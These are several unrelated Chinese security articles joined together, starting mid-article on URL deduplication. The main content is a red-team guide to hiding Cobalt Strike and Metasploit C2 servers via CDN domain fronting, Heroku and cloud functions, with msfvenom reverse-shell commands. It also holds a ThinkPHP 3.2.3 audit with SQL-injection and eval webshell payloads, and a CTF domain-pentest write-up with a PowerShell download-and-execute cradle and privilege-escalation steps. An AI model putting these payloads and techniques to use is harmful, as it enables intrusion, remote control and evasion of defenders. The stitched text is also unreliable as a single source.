（3）URL全量去重，目前两种简单的实现方法，Redis Hash
或者采用布隆过滤器（[注2](https://zh.wikipedia.org/wiki/%E5%B8%83%E9%9A%86%E8%BF%87%E6%BB%A4%E5%99%A8)）
（4）URL分类：分为接口URL类和路径重写类
1. 接口URL类去重：Hash去重
2. 路径重写类去重：有几种实现方法：
3. 动态规则法：对URL进行规则发现，比如:
<http://list.mi.com/174>
<http://list.mi.com/177>
<http://list.mi.com/2346>
生成规则为：[<http://list.mi.com/[0-9]()]+>
对其后所有[http://list.mi.com/
](http://list.mi.com/)路径深度为2的URL进行正则匹配，成功则认为重复，不成功则认为不重复，进入数据库，并生成新的匹配规则。
4. 机器学习：使用聚类算法中的朴素贝叶斯算法
5. 我们正在使用全新的算法，在全量测试中表现不错，唯一的缺点是在某些URL效果不佳，但是依然处于可以接受的范围
URL的完全去重在技术上非常复杂和困难，完全没必要用百度或者谷歌的爬虫策略要求自己，只要在可接受范围内，就算是只进行全量去重也没关系。
图2 URL数据去重的流程 | 社区文章 |
# 红队攻防基础建设—C2 IP隐匿技术
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前记
随着HW的开始，蓝队弟弟们见识到了很多奇特的操作，本文主要从监测溯源时比较常见的一些红队的隐匿手法进行讲解。在实际攻防中有效的隐匿我们的C2主机也是很必要的，在工作的同时发现很多蓝队对此并不熟悉，所以本文会深入浅出的讲解三种常见的方式，希望通过本文能够对各位有所帮助。
## 域前置
域前置技术就是通过CDN节点将流量转发到真实的C2服务器，其中CDN节点ip通过识别请求的Host头进行流量转发。这里作者利用阿里云全站加速CDN实现任意HOST头修改，利用构造高信誉域名，从而实现绕过流量分析。
### **第一步**
访问阿里云 CDN 全站加速配置，如下图：
点击添加域名，，填写CDN基本信息，加速域名处可以填写高信誉的域名，在国内绝大数的服务商，都需要验证主域名的归属，但是在阿里云全站加速CDN中只要IP是本用户阿里云的主机即可绕过验证。只需要填写加速域名以及IP即可完成配置，搭配CobaltStrike
profile即可绕过达到隐蔽真实IP及Header的功能，进行隐蔽IP的功能。
如上图即填写完毕，之后等待CDN配置完毕即可正常使用。
### **第二步**
使用多地ping对CNAME进行检测，得到多地CDN的IP。
全网PING:<http://ping.chinaz.com/>
这里使用用三个演示效果即可。
**58.215.145.105
61.168.100.175
42.48.120.160**
### **第三步**
使用得到的IP，进入CobaltStrike，配置profile文件。
这边使用的profile是amazon.profile，其实也可以自己写。
**下载地址:<https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile>**
修改三处，header “Host” 即可。
### **第四步**
开启CobaltStrike，开启命令:
` ./teamserver xxx.xxx.xxx.xxx password amazon.profile`
进入CobaltStrike进行配置，监听器配置如下：
配置HTTPS Hosts为之前获取的CDN IP，HTTP
Host(Stager)为nanci.tencent.com，也就是我们配置的加速域名，端口默认80即可。
然后开启监听器，生成木马。
**发现成功上线**
并且使用netstat可以看到我们的网络连接为之前的两个负载IP
如上图可以看到数据包的Host为nanci.tencent.com
**至此域前置成功部署** ！
### **总结**
配置简单
延展性强，可以随时更换IP，在红蓝对抗时可以快速部署，增加了防守封禁IP的难度。
Host高信誉域名。
注意阿里云不支持https的域前置
缺点：对CDN资源较大，不建议长时间使用（土豪除外）。
**在前几天微步公开的情报中，提到了这一种攻击方式，所以作者在这里剖析了域前置的利用方式，希望能够对蓝方成员监控时有所帮助。**
## Heroku代理隐匿真实IP
Heroku是一个支持多种编程语言的云平台即服务。简单理解就是可以免费部署docker容器并且可以开放web服务到互联网.下面介绍操作步骤。其实简单来理解应用在C2隐匿上就是通过Nginx反向代理的方式，从heroku服务器代理到我们真实的VPS服务器。
### Heroku在CobaltStrike中的应用
**第一步**
注册heroku账号，这里需要注意的是需要使用gmail邮箱注册，因为QQ以及163等国内邮件服务商被禁用，无法完成注册。
注册网址：<https://dashboard.heroku.com/>
**第二步**
注册成功后进行登录，访问以下网址进入配置页面。
**<https://dashboard.heroku.com/new?template=https://github.com/FunnyWolf/nginx-proxy-heroku>**
这里主要需要的是箭头所指的两处，其中App name为子域名前缀的名称，这里我们可以自定义，只要没有被注册过不重复即可。
而TARGET处，填写为我们真实的VPS服务器的域名，也就是需要代理的主机域名。这里格式为:[https://baidu.com:8443，代理VPS的8443端口。](https://baidu.com:8443%EF%BC%8C%E4%BB%A3%E7%90%86VPS%E7%9A%848443%E7%AB%AF%E5%8F%A3%E3%80%82)
填写完毕后点击Deploy app自动部署。
**如上图所示即配置成功。**
**第三步**
在Cobaltstrike中配置两个监听器，设置PAYLOAD为Beacon HTTPS，HTTPS
Hosts为sict.icu也就是我们真实的域名，HTTPS Port为8443端口。
**监听器1如下图所示:**
继续配置第二个监听器，同样设置PAYLOAD为Beacon HTTPS，HTTPS
Hosts设置为nancicdn.herokuapp.com，也就是之前获取到的heroku的域名。
其中部署时配置的App name为子域名前缀，所以最终得到的heroku的域名就是nancicdn.herokuapp.com。HTTPS
Port设置为443。
**监听器2如下图所示：**
监听器全部部署完毕后生成木马文件，注意生成木马的监听器设置为监听器2，也就是指向heroku域名的那一个监听器。
**成功上线Cobaltstrike**
### Heroku在Metasploit中的应用
heroku服务的配置这里就不再赘述，直接从Metasploit的配置开始讲解。
**第一步**
打开msf
在metasploit中添加handler,配置如图：
使用模块payload/windows/x64/meterpreter_reverse_https
设置LHOST为我们实际指向的域名，LPORT为8443，是在heroku中配置的。
然后设置三个全局参数，如下：
setg OverrideLHOST nancicdn.herokuapp.com
setg OverrideLPORT 443
setg OverrideRequestHost true
OverrideLHOST为我们heroku的地址，后面主域名为固定的，子域名前缀为刚才heroku中配置的App
name。端口为443因为我们配置的是https协议。
参数配置完毕后，输入to_handler开启监听。
如上图可以看到已经开启8443端口的监听，即配置完毕。
**第二步**
使用命令生成木马
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=nancicdn.herokuapp.com
LPORT=443 -f exe -o payload.exe
然后将生成的木马上传至虚拟机并执行。
**执行后发现在metasploit成功上线。**
可以看到session的链接地址为heroku中转服务器地址，而且不同的heroku部署其连接的IP是不相同的。
**如下图：
Target 1**
Target 2
### 总结
heroku隐藏C2从技术原理上看非常简单,使用heroku服务部署nginx反向代理服务,payload连接heroku的nginx,nginx将流量转发到C2。
具体优势如下:
只需要注册heroku免费账号即可
无需注册或购买域名
自带可信的SSL证书(heroku域名自带证书)
如果IP地址被封锁,可删除原有heroku app重新部署heroku app(大约需要30s),与防守人员持续对抗
操作步骤简单
## 云函数
这个技术最先是在今年的3月份国外提出的，他们利用 azure 对 C2 进行隐藏，国内也有相对应的 云函数厂商，于是我们就尝试使用云函数对我们的 C2
服务器进行隐藏。
### 配置过程
点击新建云函数，选择创建方式—自定义创建，函数名称自定义或者默认都可以，运行环境选择python3.6，当然也有师傅去用其他语言版本去写但是原理都是一样的，地域随意即可。
点击完成，我们先不编辑云函数代码。
创建触发器，具体配置如上图，我们使用API网关来进行触发函数。
按照上例图片配置一下API网关的默认路径，然后选择立即完成并发布任务即可。
然后我们编辑一下云函数，注意修改C2变量的内容为自己ip即可。下面的使用x-forward-for来确认目标主机的真实ip，不配置的话不影响正常使用，但是上线主机的ip会是云函数主机的IP地址。
这里配置完成后，我们得到API网关地址如下图：
注意发布
然后我们开始配置CS客户端，创建一个监听器，配置如下图，把API网关地址复制进去，注意端口必须设置为80，如果想要设置为其他的还需要配置一下云函数。
设置profile文件启动，配置文件http-config设置如下：
这里是为了与上面的云函数同步使用X-Forward-For来获取真实ip
然后我们生成木马进行上线。
**成功上线！**
下面我们来分析一下木马程序，首先查看本地外联ip为腾讯云IP地址
发现是腾讯云主机
继续分析上传病毒样本至微步平台(这也是蓝队成员最常用的分析手段)
可以看到只能捕获到API网关域名。
### 总结
云函数的好处就是配置简单，免费，高效，很适合日常渗透使用。
嘿嘿，写到最后就不太想凑字数了。
## 后记
本文到这里就接近尾声了，正值HW时期，希望以本文能够对广大防守方成员有所帮助，面对红队的隐匿技术，在工作中碰到这种问题可以第一时间进行响应研判，当然以上的几种方式都不太好溯源，这也是时至今日这些方法依旧有效的原因，尤其是今年的HW中，这些方式更加频繁的映入我们的眼帘。今年不仅仅是大量的0day爆出，也有一些奇淫巧计的产生，在检验企业安全体系能力的同时也在磨练红蓝双方人员的实力，这也是红蓝对抗的意义所在。
**最后，小安是我好大哥！(打工人小安)~** | 社区文章 |
### **0x01 前言**
ThinkPHP框架是当前国内最流行的PHP框架之一，虽然TP3.2.3这个版本和国外的开源框架还是有一定距离，但是人家教程多，用户量多，中文文档写得奇的优点，现在工作的公司用的是thinkphp3.2框架进行开发，TP框架为我们开发者提供了底层的安全过滤功能，所以我在使用TP框架开发的时候并没有很仔细的去想过安全的问题，而最近也是挤出了一点时间，想知道TP框架底层是如何运作的，底层是如何防注入的，看了一下文档，看了一下源码，找了一些资料，整理出了一些TP框架运行的原理。
### 0x02 简介
通读源码的话，当然要从下载源码开始 : )
下载地址：<http://www.thinkphp.cn/down/610.html>
版本：[ThinkPHP3.2.3完整版](http://www.jianshu.com/writer)
技术准备：PHP基础，MySql基础
使用工具：Visutal Studio Code
服务器环境：xampp
推荐使用：phpStudy (推荐使用这个免得为了环境的问题浪费时间)
安装教程什么的话，我就省略了，我们直接进入正题
### 0x03 思路
接下来介绍一下大概的思路（完成），然后介绍框架运行的原理，在然后说一下防注入的方法，最后说说审计Tp的思路与方法
本文相关文件：
> 系统公共函数库： \ThinkPHP\Common\functions.php (封装了TP开放给外部的函数)
>
> ThinkPHP Model模型类： ThinkPHP\Library\Think\Model.class.php
> (TP的数据库架构类，提供curd类库，是一个对外的接口 )
>
> TP内部curd类： ThinkPHP\Library\Think\Db\Driver.class.php
> (这个类的函数都被Model类中的curd操作间接的调用)
这里的话要大概说一下Tp在执行数据库操作之前的处理思路。
1. 函数`M`使用了以后会自动创建`new Model`类并且会实例化为一个对象返回此资源,
Ps：这里我们的`M(‘goods’)` `goods`是你的数据库表名，我们后面都简称为`goods`对象,
2. 接着这个`goods`对象调用了`where`方法并且格式化处理以后,会将这个值赋值给`goods`对象的一个成员变量`$options`（注：这里需要特别说明一点，如果说我们在`goods`对象中有调用其他的方法赋值例如`where,table,alias,data,field,order,limit,page,group,having,join,union,distinct,lock,cache,comment`等等这种操作方法，那么都会先赋值给`goods`对象，而不是在代码直接进行sql语句拼接，所以我们使用Tp的连贯操作的时候，就不需要像SQL语句拼接那样需要考虑到关键字的顺序问题,想了解有关于`M`函数的具体信息的请下载TP3.2.3开发手册中的模型与连贯操作进行仔细了解，(因为时间的问题这里就不很仔细的讲解）
3. 处理完了前面选项之后，接下来就会去调用我们的`find()`方法去调用底层的一个`select`方法（Driver.class.php这个类中的select方法）来获取数据。所谓的find()方法就是等同于先给`goods`对象的一个成员变量`$options`赋值操作`limit=1`然后进行`select`操作来获取对应的数据。
4. 到了`select`操作以后又是一个完全不一样的世界。
最终执行的sql语句的话大概是这样：
SELECT * FROM `tdb_goods` WHERE goods_name='R510VC 15.6英寸笔记本' limit 1
如果给他赋值了一个操作例如
M('goods')->field('goods_id,goods_name')->where( array('goods_name'=>$goods_name) )->find();
最终执行的sql语句：
SELECT goods_id,goods_name FROM `tdb_goods` WHERE goods_name='R510VC 15.6英寸笔记本' limit 1
Driver.class.php这个类中除了处理`curd`操作，还处理`pdo`绑定，这里的`pdo`绑定并不是我们本文的重点内容所以简单提起他知道有这么一个东西就完了，我们的重点是了解TP的`curd`操作是如何进行的。
//这里可以开始真真分析了 说明连接的过程执行的操作等
### 0x04 正文
我们一个一个解释来，先按顺序来介绍Model模型类几个重要的成员变量
#### 4.1、where()方法的执行过程
这里的话，有个画红色方框的地方，我们可以通过官方文档来具体了解他的意思
这里可能有一些人看不懂，我简单的讲解一下 `where()` 方法
1. 如果 传递的是`$Model->where("id=%d and username='%s' and xx='%f'",array($id,$username,$xx))`这种格式的，
2. 那么就会进入我们上图 红色方框的流程里面，进行 mysql 的`mysql_escape_string`函数进行处理。
3. 处理完成以后就会将已处理完成的数组赋值到goods对象的成员函数`$this->options['where']`随后返回 供我们进行下一步的处理
注：mysql_escape_string 的作用与addslashes 的作用是差不多的。
具体区别：
> 在magic_quotes_sybase=on时将“ '”转换成“ ' '”
> 在magic_quotes_sybase=off时将“ '”转换成“\ '”
> 而mysql_escape_string总是将“ '”转换成“\”
#### 4.2 find() 方法的执行过程
这个方法的功能的话就是 获取主键，完善`model`类的成员变量 `options`数组
然后实例化`db`类调用`select`方法获取数据,然后处理数据完以后返回数据。
##### 4.2.1 Find方法使用的`$this->_parseOptions()`讲解
这个方法的主要功能就是 获取操作的表名，查看是否有取别名
获取操作的模型，比对当前表的数据库字段是否一致，如有不一致的字段`$this->options['strict']`设置了时，进行报错处理否则进行删除多余字段的处理。
执行过滤的方法为`_parseType` ,他的功能是数据类型检测并且进行强制转换
> 强制转换的类型为int,float,bool 三种类型
上图中的`_parseType`方法
##### 4.2.2 Find方法使用的`$this->db->select()`方法讲解
`$this->db`是在Driver.class.php 类中的方法，我们跟进去
#### 4.3 parseWhere方法分析
我们这里用我们比较重要的`parseWhere`方法进行分析（为什么要用parseWhere方法进行分析呢？因为这个地方比其他的要复杂的多，其次是因为其他的都是拼接字符串，过滤，然后返回，所有没有什么好讲的）
这里的话图很多,调用的函数也很多,我们简单的来说说他的处理过程
1. 首先说说parseWhere方法
这方法会去判断传进来的变量内容是否是字符串
如果是的话，那么就会直接返回
如果不是字符串而是数组的话，那么就会挨个的解析,并且判断是否是特殊的条件表达式，如果是调用`parseThinkWhere`
方法此方法主要是解析特殊的条件并且调用
2. parseValue 方法
已上条件都不匹配的情况下就认为是普通查询，普通查询都会调用`parseWhereItem` 方法
3. parseWhereItem 方法
进入此方法以后会发现这个方法会根据 `$exp` 变量的不同拼接不同的sql语句 而在这个方法中看到最多的就是`parseValue`方法了
4. parseValue 方法
这个方法有会去调用`escapeString`方法 `escapeString`方法里面写的就是将传进来的变量进行addslashes 然后返回
嗯。。。。。。。整体流程看起来我们可以发现TP使用的过滤方法就是一个简单addslashes 来防止过滤,不得不说虽然简单但是还挺有效的。
一套流程走下来，好像并没有发现什么问题呢,该过滤的都过滤了,嗯。。。。那我为什么要写这文章呢？(´°̥̥̥̥̥̥̥̥ω°̥̥̥̥̥̥̥̥｀)
### 0x05 本文重点内容
先在放一次图先
前面我说了吧`parseWhereItem`方法会使用`parseValue`方法
最终是会调用`addslashes`函数进行过滤来防止注入，那么假如，有没有使用`parseValue`方法的变量，并且我们能控制的情况那么是否就可以进行注入了呢？
看到上面我画的三个圈圈了么，这是没有使用`parseValue`方法过滤的,这一块的作用是什么呢？我来简单的说明一下
这里我们来做个实验,重新修改我们的代码
在试另一个
是不是有点小激动？？哦哦哦哦框架sql注入漏洞~~~，emmmmmm，嗯不存在的，来了解一个重要TP重要的安全函数`I`函数先来了解一下`I`函数的功能
从这里可以得知`I`函数是官方强烈推荐的用来代替`post get cookie seesion`等获取数据的方法，我们这里把原来的代码改回去在测试一下
#### 神奇的I函数
> 路径:`ThinkPHP\Common\functions.php`
> 方法名：`function I($name,$default='',$filter=null,$datas=null)`
这个函数的主要功能为3个
1. 确定数据类型
2. 对数据进行循环取值
3. 调用think_filter 函数进行过滤
#### think_filter函数分析
结合我们前面看的知识，大概就可以清楚这个空格的意思了。
例如：
1. 没有使用`think_filter`函数时`goods_name[0]=in&goods_name[1]=(true) and (updatexml(1,concat(1,(select user())),1))--&goods_name[2]=exp`
2. 使用了`think_filter`函数时`goods_name[0]=in &goods_name[1]=(true) and (updatexml(1,concat(1,(select user())),1))--&goods_name[2]=exp`
注意：使用了`think_filter`函数时`in`后面是有空格的也就是说返回值是`goods_name[0]=in(空格)&goods_name[1]=(true)
and (updatexml(1,concat(1,(select user())),1))--&goods_name[2]=exp`
也就是说我们传进去的值`If( in(空格) == ‘in’ )`那么当然是不匹配的也就防止了sql注入的产生
### 0x06 完
经过上面的分析不知道大家是否有学到什么，对于使用TP框架是否熟悉了？已下是不按官方的规范使用的方式。
注入：(已下通通通通通通都是使用者的错误，不管TP的事情，自己看看对比一下自己的网站有没有这样做)
1. 进入目录直接搜索 `$_POST $_GET`查看是否带入了`where`查询如果带入了，根据我们上面的分析，基本上都可以进行注入。（因为根据我们上面的分析，当不使用TP推荐的I函数时，我们是可以自己构造语句来进行注入的）例如：
1. 全局搜索`where`查看是否有字符串拼接的痕迹
1. 链操作方法中 画红圈圈的地方可以外部操控时，就可以产生注入
例如：全局搜索`order`(当我们可以操控`order`传进去的参数时，也是可以进行注入的，这是因为Tp对`order`方法只是一个字符串拼接的操作 )
1. 全局搜索`join`，`field`(与上同理，执行的都是字符串拼接，只要可以外部操作就可以产生注入) 这个基本可以无视了，正常人根本不会开放这两个方法外部操控
#### 小技巧找储蓄Xss：
关于过滤Xss TP做的满好的基本上我们只能通用变量来判断是否可以Xss
> 1，`I(‘post.xxx’,’’,’’); I(‘get.xxx’,’’,’’); I(‘request.xxxx’,’’,’’)`
>
> 2，`I(‘post.xxx’,’’,’xxxx’); I(‘get.xxx’,’’,’xxxx’);
> I(‘request.xxxx’,’’,’xxxx’)`
这种情况是可以尝试进行Xss的，第三个参数给设置的情况下（给设置了时请自己查看调用的函数是用来干嘛的才进行Xss），或是为空的情况下（为空的情况下就可以直接进行Xss）
> 3, `$_GET[‘xxx’] $_POST[‘XX’] $_REQUEST[‘XXX’]`
当你看到 这样的变量给带入`add`方法或是`save`方法也是可以进行Xss的
#### 小技巧查看是否可以直接Getshell
查看是否设置了`DATA_CACHE_KEY`（有设置的情况下，这个技巧请无视）
1. 缓存函数`S`查看是否使用了如果使用了查看是否可以控制可操控的情况下就可以直接getshell（我相信百分之90的人会去设置目录访问权限，但是我不相信百分百的人都会这么干）
语句：
%0D%0A%24a%3Deval(%24_POST%5B%27a3%27%5D)%3B%23
这里小技巧的话设置了`DATA_CACHE_KEY` 也是无用的不影响。
1. 缓存函数`F`这个与上面的区别在于 `S`函数只要可以外部操控就可能可以getshell，而`F`函数 要利用起来的话，需要几个条件
2.1 对方这样使用`I`函数
> I(‘post.xxx’,’’,’’); I(‘get.xxx’,’’,’’); I(‘request.xxxx’,’’,’’)
2.2 对方直接使用`$_GET[‘xxx’] $_POST[‘XX’] $_REQUEST[‘XXX’]`
语句：
<?php%0A%0A%24a%3D%24_GET%5B3%5D%3B%2F%2F%0A%24a%3Deval(%24_POST%5B'a3'%5D)%3B?>
为什么需要这样才能利用呢？因为`F`函数生成的缓存不带 `<?php ?>` 所以我们需要自己构造 而自己构造的话，经过了`I`函数`‘<’
‘>’`就会给过滤导致无用,
当然`F`函数我认为可以利用的情况下比`S`函数要方便很多因为`F`函数生成的文件名称是不加密的
例子1：
例子2：
注：使用框架请严格准守框架规范，避免一些出现意外的问题。 | 社区文章 |
# N1CTF2020 Pentest King of phish
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
N1CTF2020中的几道域题目考点很好，拿来和师傅们分享下，希望能给师傅们一点帮助
## The King Of Phish (Victim Bot)
lnk命令执行，测试后发现携带参数不能超过一个`可以把空格替换成tab就执行了，cs起一个web
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://132.232.82.54:12345/a1'))"
拿到回来的shell
type c:\users\usera\desktop\flag.txt
看了眼wp 还有很多方法，学习了
C:\Windows\System32\cmd.exe /c type %USERPROFILE%\Desktop\flag.txt
C:\Windows\System32\cmd.exe /k"whoami"
C:\Windows\System32\mshta.exe http://xxx.xxx.xxx.xxx:8080/1.hta
C:\Windows\System32\cscript.exe \\xxx.xxx.xxx.xxx\public\test.vbs
## The King Of Phish (UserA-PC)
### 预期解：
SeRestorePrivilege提权
可以在三好学生博客中看到如下内容
大概意思是使用SeRestore修改注册表，劫持高权限进程启动的进程从而启动我们自己的shell
而且在他的github中也有cpp
https://github.com/3gstudent/Homework-of-C-Language/blob/master/EnableSeRestorePrivilege.cpp
下载下来本地修改se_restore_priv函数使其修改IFEO，劫持wsqmcons.exe
有几个坑点：需要在windows下用vstudio编译，编译器需改为MT，远程是x86的exp才能打通。我打了5个多小时x64.
有一个地方有报错但是不影响
编译上传 上传shell
需要注意的是我们这里劫持的是计划任务，使用powerview发现此用户对于计划任务也可以主动的执行
beacon> shell powershell Import-Module ./powerview.ps1;"Get-ScheduledTask|? TaskName -eq Consolidator |select -exp SecurityDescriptor|ConvertFrom-SddlString|select -exp DiscretionaryAcl|Format-Table -AutoSize"
[*] Tasked beacon to run: powershell Import-Module ./powerview.ps1;"Get-ScheduledTask|? TaskName -eq Consolidator |select -exp SecurityDescriptor|ConvertFrom-SddlString|select -exp DiscretionaryAcl|Format-Table -AutoSize"
[+] host called home, sent: 226 bytes
[+] received output:
NT AUTHORITY\Authenticated Users: AccessAllowed (GenericExecute, GenericRead)
NT AUTHORITY\SYSTEM: AccessAllowed (ChangePermissions, CreateDirectories, Delete, DeleteSubdirectoriesAndFiles, ExecuteKey, FullControl, FullControl, FullControl, FullControl, FullControl, GenericAll, GenericExecute, GenericRead, GenericWrite, ListDirectory, Modify, Read, ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions, Synchronize, TakeOwnership, Traverse, Write, WriteAttributes, WriteData, WriteExtendedAttributes, WriteKey)
BUILTIN\Administrators: AccessAllowed (ChangePermissions, CreateDirectories, Delete, DeleteSubdirectoriesAndFiles, ExecuteKey, FullControl, FullControl, FullControl, FullControl, FullControl, GenericAll, GenericExecute, GenericRead, GenericWrite, ListDirectory, Modify, Read, ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions, Synchronize, TakeOwnership, Traverse, Write, WriteAttributes, WriteData, WriteExtendedAttributes, WriteKey)
NT AUTHORITY\Authenticated Users: AccessAllowed (GenericExecute, GenericRead)
schtasks /Run /TN "\Microsoft\Windows\Customer Experience Improvement Program\Consolidator"
手动触发Consolidator
完整过程
beacon> shell getflag.exe
[*] Tasked beacon to run: test.exe
[+] host called home, sent: 39 bytes
[+] received output:
whoami:
N1CTF\usera
whoami /priv
SeRestorePrivilege Enabled
SeChangeNotifyPrivilege Enabled by default
SeIncreaseWorkingSetPrivilege Disabled
[+] Key set
beacon> shell schtasks /Run /TN "\Microsoft\Windows\Customer Experience Improvement Program\Consolidator"
[*] Tasked beacon to run: schtasks /Run /TN "\Microsoft\Windows\Customer Experience Improvement Program\Consolidator"
[+] host called home, sent: 122 bytes
[+] received output:
SUCCESS: Attempted to run the scheduled task "\Microsoft\Windows\Customer Experience Improvement Program\Consolidator".
拿到system权限
拿flag
### 使用资源约束委派提权
首先使用powerview收集域信息
beacon> shell powershell Import-module ./powerview.ps1;Get-DomainUser -Identity USERA-pc -Properties objectsid
[*] Tasked beacon to run: powershell Import-module ./powerview.ps1;Get-DomainUser -Identity USERA-pc -Properties objectsid
[+] host called home, sent: 127 bytes
beacon> shell powershell Import-module ./powerview.ps1;Get-DomainUser -Identity usera -Properties objectsid
[*] Tasked beacon to run: powershell Import-module ./powerview.ps1;Get-DomainUser -Identity usera -Properties objectsid
[+] host called home, sent: 124 bytes
[+] received output:
objectsid
--------- S-1-5-21-3860493963-3742860931-3732056798-1105
beacon> shell powershell Import-module ./powerview.ps1;"Get-DomainObjectAcl -Identity USERA-PC | ?{$_.SecurityIdentifier -match 'S-1-5-21-3860493963-3742860931-3732056798-1105'}"
[*] Tasked beacon to run: powershell Import-module ./powerview.ps1;"Get-DomainObjectAcl -Identity USERA-PC | ?{$_.SecurityIdentifier -match 'S-1-5-21-3860493963-3742860931-3732056798-1105'}"
[+] host called home, sent: 195 bytes
[+] received output:
ObjectDN : CN=USERA-PC,CN=Computers,DC=n1ctf,DC=lab
ObjectSID : S-1-5-21-3860493963-3742860931-3732056798-1106
ActiveDirectoryRights : WriteProperty
ObjectAceFlags : ObjectAceTypePresent, InheritedObjectAceTypePresent
ObjectAceType : 5f202010-79a5-11d0-9020-00c04fc2d4cf
InheritedObjectAceType : bf967a86-0de6-11d0-a285-00aa003049e2
BinaryLength : 72
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 32
SecurityIdentifier : S-1-5-21-3860493963-3742860931-3732056798-1105
AceType : AccessAllowedObject
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
ObjectDN : CN=USERA-PC,CN=Computers,DC=n1ctf,DC=lab
ObjectSID : S-1-5-21-3860493963-3742860931-3732056798-1106
ActiveDirectoryRights : WriteProperty
ObjectAceFlags : ObjectAceTypePresent, InheritedObjectAceTypePresent
ObjectAceType : bf967950-0de6-11d0-a285-00aa003049e2
InheritedObjectAceType : bf967a86-0de6-11d0-a285-00aa003049e2
BinaryLength : 72
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 32
SecurityIdentifier : S-1-5-21-3860493963-3742860931-3732056798-1105
AceType : AccessAllowedObject
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
ObjectDN : CN=USERA-PC,CN=Computers,DC=n1ctf,DC=lab
ObjectSID : S-1-5-21-3860493963-3742860931-3732056798-1106
ActiveDirectoryRights : WriteProperty
ObjectAceFlags : ObjectAceTypePresent, InheritedObjectAceTypePresent
ObjectAceType : bf967953-0de6-11d0-a285-00aa003049e2
InheritedObjectAceType : bf967a86-0de6-11d0-a285-00aa003049e2
BinaryLength : 72
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 32
SecurityIdentifier : S-1-5-21-3860493963-3742860931-3732056798-1105
AceType : AccessAllowedObject
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
ObjectDN : CN=USERA-PC,CN=Computers,DC=n1ctf,DC=lab
ObjectSID : S-1-5-21-3860493963-3742860931-3732056798-1106
ActiveDirectoryRights : WriteProperty
ObjectAceFlags : ObjectAceTypePresent, InheritedObjectAceTypePresent
ObjectAceType : 3e0abfd0-126a-11d0-a060-00aa006c33ed
InheritedObjectAceType : bf967a86-0de6-11d0-a285-00aa003049e2
BinaryLength : 72
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 32
SecurityIdentifier : S-1-5-21-3860493963-3742860931-3732056798-1105
AceType : AccessAllowedObject
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
ObjectDN : CN=USERA-PC,CN=Computers,DC=n1ctf,DC=lab
ObjectSID : S-1-5-21-3860493963-3742860931-3732056798-1106
ActiveDirectoryRights : Self
ObjectAceFlags : ObjectAceTypePresent
ObjectAceType : 72e39547-7b18-11d1-adef-00c04fd8d5cd
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength : 56
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 8
SecurityIdentifier : S-1-5-21-3860493963-3742860931-3732056798-1105
AceType : AccessAllowedObject
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
ObjectDN : CN=USERA-PC,CN=Computers,DC=n1ctf,DC=lab
ObjectSID : S-1-5-21-3860493963-3742860931-3732056798-1106
ActiveDirectoryRights : Self
ObjectAceFlags : ObjectAceTypePresent
ObjectAceType : f3a64788-5306-11d1-a9c5-0000f80367c1
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength : 56
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 8
SecurityIdentifier : S-1-5-21-3860493963-3742860931-3732056798-1105
AceType : AccessAllowedObject
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
ObjectDN : CN=USERA-PC,CN=Computers,DC=n1ctf,DC=lab
ObjectSID : S-1-5-21-3860493963-3742860931-3732056798-1106
ActiveDirectoryRights : WriteProperty
ObjectAceFlags : ObjectAceTypePresent
ObjectAceType : 4c164200-20c0-11d0-a768-00aa006e0529
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength : 56
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 32
SecurityIdentifier : S-1-5-21-3860493963-3742860931-3732056798-1105
AceType : AccessAllowedObject
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
ObjectDN : CN=USERA-PC,CN=Computers,DC=n1ctf,DC=lab
ObjectSID : S-1-5-21-3860493963-3742860931-3732056798-1106
ActiveDirectoryRights : ExtendedRight, GenericRead
BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 131476
SecurityIdentifier : S-1-5-21-3860493963-3742860931-3732056798-1105
AceType : AccessAllowed
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
ObjectDN : CN=USERA-PC,CN=Computers,DC=n1ctf,DC=lab
ObjectSID : S-1-5-21-3860493963-3742860931-3732056798-1106
ActiveDirectoryRights : Self
ObjectAceFlags : ObjectAceTypePresent
ObjectAceType : 9b026da6-0d3c-465c-8bee-5199d7165cba
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength : 56
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 8
SecurityIdentifier : S-1-5-21-3860493963-3742860931-3732056798-1105
AceType : AccessAllowedObject
AceFlags : Inherited
IsInherited : True
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
可以看到usera这个用户对USERA-PC这个计算机账户拥有WriteProperty权限
在域中有一个属性`MachineAccountQuota`，允许用户在域中创建的计算机机器帐户，默认为10
而计算机账户默认是注册`RestrictedKrbHost/domain`和`HOST/domain`这两个SPN的
所以这里刚好符合我们要求
使用powermad创建机器用户
